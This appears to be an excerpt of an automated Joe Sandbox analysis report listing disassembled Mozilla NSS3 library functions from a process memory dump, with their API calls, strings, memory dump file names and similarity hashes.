Part of subcall function 6D0E09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6D0E0D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6D002D54

Part of subcall function 6D0E09D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D0E0BCB
Part of subcall function 6D0E09D0: EnterCriticalSection.KERNEL32(?), ref: 6D0E0BDE
Part of subcall function 6D0E09D0: OutputDebugStringA.KERNEL32(?), ref: 6D0E0C16

Strings

pPin = 0x%p, xrefs: 6D002D1D
ulPinLen = %d, xrefs: 6D002D36
pLabel = 0x%p, xrefs: 6D002D4F
slotID = 0x%x, xrefs: 6D002D02
C_InitToken, xrefs: 6D002CE7

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: 823aa810608f0d7b6d606f8323d5203566028b55ee8cdb0a3da5a2a7a4bd479a
Instruction ID: 94941c119bca872166fcea02e524950cbc433dba5b7011ced9e3ff280d11fd84
Opcode Fuzzy Hash: 823aa810608f0d7b6d606f8323d5203566028b55ee8cdb0a3da5a2a7a4bd479a
Instruction Fuzzy Hash: 1B2192B9505105EFFB30AFA5ED88B593BB5EB42319F468016E60897122DBF18C45CBE1

Function 6D0E0EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CFC2357), ref: 6D0E0EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CFC2357), ref: 6D0E0EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6D0E0EE6

Part of subcall function 6D0E09D0: PR_Now.NSS3 ref: 6D0E0A22
Part of subcall function 6D0E09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6D0E0A35
Part of subcall function 6D0E09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6D0E0A66
Part of subcall function 6D0E09D0: PR_GetCurrentThread.NSS3 ref: 6D0E0A70
Part of subcall function 6D0E09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6D0E0A9D
Part of subcall function 6D0E09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6D0E0AC8
Part of subcall function 6D0E09D0: PR_vsmprintf.NSS3(?,?), ref: 6D0E0AE8
Part of subcall function 6D0E09D0: EnterCriticalSection.KERNEL32(?), ref: 6D0E0B19
Part of subcall function 6D0E09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6D0E0B48
Part of subcall function 6D0E09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6D0E0C76
Part of subcall function 6D0E09D0: PR_LogFlush.NSS3 ref: 6D0E0C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6D0E0EFA

Part of subcall function 6CFCAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CFCAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0E0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0E0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0E0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D0E0F2B

Strings

Aborting, xrefs: 6D0E0EB3
Assertion failure: %s, at %s:%d, xrefs: 6D0E0ED9, 6D0E0EE5, 6D0E0F06, 6D0E0F0B

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: fb443eed4dad42262d47071421b0c2443a7565fcdd9bfcf449eb053eb04e0b04
Instruction ID: 560dbee7d90e467beddad95ac1e8b9da63c5449c8323c0fc9d6b1ee5c015c2b0
Opcode Fuzzy Hash: fb443eed4dad42262d47071421b0c2443a7565fcdd9bfcf449eb053eb04e0b04
Instruction Fuzzy Hash: 96F0CDB58441087BDF002B92EC49D9B3E3EDF41264F004424FE0956202DBB6E95057F3

Function 6D044DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6D044DCB

Part of subcall function 6D030FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CFD87ED,00000800,6CFCEF74,00000000), ref: 6D031000
Part of subcall function 6D030FF0: PR_NewLock.NSS3(?,00000800,6CFCEF74,00000000), ref: 6D031016
Part of subcall function 6D030FF0: PL_InitArenaPool.NSS3(00000000,security,6CFD87ED,00000008,?,00000800,6CFCEF74,00000000), ref: 6D03102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6D044DE1

Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D0310F3
Part of subcall function 6D0310C0: EnterCriticalSection.KERNEL32(?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03110C
Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6D044DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6D044E59

Part of subcall function 6D02FAB0: free.MOZGLUE(?,-00000001,?,?,6CFCF673,00000000,00000000), ref: 6D02FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6D10300C,00000000), ref: 6D044EB8
SECOID_FindOID_Util.NSS3(?), ref: 6D044EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6D044F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6D04521A

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 532b6413f430e6f25cc7f4eea816ff50c08a7f6d219920ebeeefd8f6e68cc6df
Instruction ID: 50c4f1b0a155ce46a4338c0091c4175ffb71cedc928e2473e3d977a91c5cce19
Opcode Fuzzy Hash: 532b6413f430e6f25cc7f4eea816ff50c08a7f6d219920ebeeefd8f6e68cc6df
Instruction Fuzzy Hash: DBF18B75E0420ADBEB04CF54D840BBEB7F2BF49354F258179E914AB281E7B5E981CB90

Function 6D040C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6D042C2A), ref: 6D040C81

Part of subcall function 6D02BE30: SECOID_FindOID_Util.NSS3(6CFE311B,00000000,?,6CFE311B,?), ref: 6D02BE44

Part of subcall function 6D018500: SECOID_GetAlgorithmTag_Util.NSS3(6D0195DC,00000000,00000000,00000000,?,6D0195DC,00000000,00000000,?,6CFF7F4A,00000000,?,00000000,00000000), ref: 6D018517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6D040CC4

Part of subcall function 6D02FAB0: free.MOZGLUE(?,-00000001,?,?,6CFCF673,00000000,00000000), ref: 6D02FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6D040CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6D040D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6D040D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6D040D7D
free.MOZGLUE(00000000), ref: 6D040DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6D040DC1
free.MOZGLUE(00000000), ref: 6D040DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6D040E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6D040E0F

Part of subcall function 6D0195C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CFF7F4A,00000000,?,00000000,00000000), ref: 6D0195E0
Part of subcall function 6D0195C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CFF7F4A,00000000,?,00000000,00000000), ref: 6D0195F5
Part of subcall function 6D0195C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6D019609
Part of subcall function 6D0195C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6D01961D
Part of subcall function 6D0195C0: PK11_GetInternalSlot.NSS3 ref: 6D01970B
Part of subcall function 6D0195C0: PK11_FreeSymKey.NSS3(00000000), ref: 6D019756
Part of subcall function 6D0195C0: PK11_GetIVLength.NSS3(?), ref: 6D019767
Part of subcall function 6D0195C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6D01977E
Part of subcall function 6D0195C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6D01978E

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: 1498c5fd87840e7698047ee8e78e3fe6585ec781bd361836f2417d1fd326f738
Instruction ID: 1a016f7d2473983a18d93c6155585dee46ec319f0aa02313382b89c377f799d9
Opcode Fuzzy Hash: 1498c5fd87840e7698047ee8e78e3fe6585ec781bd361836f2417d1fd326f738
Instruction Fuzzy Hash: AE41A0B5D08206ABFB009F61DC45BAF7AB8EF54318F018034EA156B241E775AA54CBE2

Function 6CFD4FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6D120148,?,6CFE6FEC), ref: 6CFD502A
PR_NewLock.NSS3(00000001,00000000,6D120148,?,6CFE6FEC), ref: 6CFD5034
PL_NewHashTable.NSS3(00000000,6D02FE80,6D02FD30,6D07C350,00000000,00000000,00000001,00000000,6D120148,?,6CFE6FEC), ref: 6CFD5055
PL_NewHashTable.NSS3(00000000,6D02FE80,6D02FD30,6D07C350,00000000,00000000,?,00000001,00000000,6D120148,?,6CFE6FEC), ref: 6CFD506D

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 2cbadd7ac3c964ba8911415f86674e56ae351c6abe324e687b544977abd363d6
Instruction ID: 99a9d1b3b6ad2638c980bfbee585497e8923de9b58ac7e7b58561cd5c1998556
Opcode Fuzzy Hash: 2cbadd7ac3c964ba8911415f86674e56ae351c6abe324e687b544977abd363d6
Instruction Fuzzy Hash: 9A31EAFAA052109BEF30AB65A948B5B3BBCDB13758F0B8114EA0597640E3F9A444CBD1

Function 6CF72E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CF72F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CF72FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CF73005
memcpy.VCRUNTIME140(?,?,?), ref: 6CF730EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CF73131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF73178

Strings

database corruption, xrefs: 6CF7316C
%s at line %d of [%.10s], xrefs: 6CF73171
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF73022, 6CF73156, 6CF73162, 6CF7318A, 6CF73196, 6CF731A2, 6CF731AE, 6CF731BA, 6CF731C6

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: d747c6179b658ad5c84bc1a165d5b5231b41fcc12b96f0f9175bed9dbc8c274b
Instruction ID: acaef413cc39ea853c6c566bc4d117341182b6efc8e616829329652a800a821e
Opcode Fuzzy Hash: d747c6179b658ad5c84bc1a165d5b5231b41fcc12b96f0f9175bed9dbc8c274b
Instruction Fuzzy Hash: A9B1B071E05229EBCB18CF9CD884AFEBBB2BF48304F15402AE845B7745D7B59845CBA0

Function 6D047F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6D047FB2

Part of subcall function 6CFCBA40: TlsGetValue.KERNEL32 ref: 6CFCBA51
Part of subcall function 6CFCBA40: TlsGetValue.KERNEL32 ref: 6CFCBA6B
Part of subcall function 6CFCBA40: EnterCriticalSection.KERNEL32 ref: 6CFCBA83
Part of subcall function 6CFCBA40: TlsGetValue.KERNEL32 ref: 6CFCBAA1
Part of subcall function 6CFCBA40: _PR_MD_UNLOCK.NSS3 ref: 6CFCBAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6D047FD4

Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990AB
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990C9
Part of subcall function 6D099090: EnterCriticalSection.KERNEL32 ref: 6D0990E5
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D099116
Part of subcall function 6D099090: LeaveCriticalSection.KERNEL32 ref: 6D09913F

Part of subcall function 6D049430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6D049466

PR_ExitMonitor.NSS3(?), ref: 6D04801B
PR_EnterMonitor.NSS3(?), ref: 6D048034
TlsGetValue.KERNEL32 ref: 6D0480A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6D0480C0
PR_ExitMonitor.NSS3(?), ref: 6D04811C
PR_ExitMonitor.NSS3(?), ref: 6D048134

Strings

), xrefs: 6D0480DB

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 8fba477b5102cd733c6d176eda9e6b90b6c021e855f616c160c50ac0c193600b
Instruction ID: ada7e8c10df8c92ef4a94b6ed068aa2b30890c222c57559a1e18acaf308c4fec
Opcode Fuzzy Hash: 8fba477b5102cd733c6d176eda9e6b90b6c021e855f616c160c50ac0c193600b
Instruction Fuzzy Hash: 055102B5A04706DAF7219B34AC00FAF77F4AF82308F048839DE5A57252E771A558C6D2

Function 6CFEFCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6CFEFCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6CFEFCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6CFEFCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFEFD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CFEFD46
PORT_Alloc_Util.NSS3(00000001), ref: 6CFEFD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6CFEFD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CFEFD84

Strings

:, xrefs: 6CFEFD78

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 6a7c66356c4cea70f2058a74f293aad2a8ee03aa1149335637486603eae107db
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: CB31F4B2D04219ABEB508AA4EC0176F7BA8AF88358F260535DD14E7610E772EA04C7D2

Function 6D006C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6D006C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6D006C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6D006CA3

Part of subcall function 6D0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6D0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6D006CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6D006CD5

Strings

hSession = 0x%x, xrefs: 6D006C7E, 6D006C8E
C_DigestInit, xrefs: 6D006C61
pMechanism = 0x%p, xrefs: 6D006CD0
(CK_INVALID_HANDLE), xrefs: 6D006C9C

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 93a2946f296af5172590a8f25c705fdc6b105e7405f973fca4d46783fba8b313
Instruction ID: 7bc30b0cc3531d3d1bb1c15bbbc45fab9051bb161ac52419376555858fbc7fbc
Opcode Fuzzy Hash: 93a2946f296af5172590a8f25c705fdc6b105e7405f973fca4d46783fba8b313
Instruction Fuzzy Hash: E621E978A04104BFF720AF55ED88F6E37F6EB42318F864025EA0957242DFB49985CBD2

Function 6D009DD0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6D009DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6D009E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6D009E33

Part of subcall function 6D0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6D0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6D009E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6D009E65

Strings

hSession = 0x%x, xrefs: 6D009E0E, 6D009E1E
C_SessionCancel, xrefs: 6D009DF1
flags = 0x%x, xrefs: 6D009E60
(CK_INVALID_HANDLE), xrefs: 6D009E2C

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel
API String ID: 1003633598-1678415578
Opcode ID: d861ab87bcc835dc268444335a6c9f7b10f03a21591c1d4b4ac6817026e099e1
Instruction ID: 00ce3b084476e3fb2294fed4cc971fc71247bc1074418c7372146eba165189bd
Opcode Fuzzy Hash: d861ab87bcc835dc268444335a6c9f7b10f03a21591c1d4b4ac6817026e099e1
Instruction Fuzzy Hash: A3213774604104BFF7209F54FD84B6E37B5EB4270CF0A4024EA09A7252DBB09E49CBA2

Function 6CFD0F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CFD0F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CFD0F84

Part of subcall function 6D02B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D1018D0,?), ref: 6D02B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CFEF59B,6D0F890C,?), ref: 6CFD0FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CFD0FC1

Part of subcall function 6D030BE0: malloc.MOZGLUE(6D028D2D,?,00000000,?), ref: 6D030BF8
Part of subcall function 6D030BE0: TlsGetValue.KERNEL32(6D028D2D,?,00000000,?), ref: 6D030C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CFD0FDB
PR_CallOnce.NSS3(6D132AA4,6D0312D0), ref: 6CFD0FEF
PL_FreeArenaPool.NSS3(?), ref: 6CFD1001
PL_FinishArenaPool.NSS3(?), ref: 6CFD1009

Strings

security, xrefs: 6CFD0F5C

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
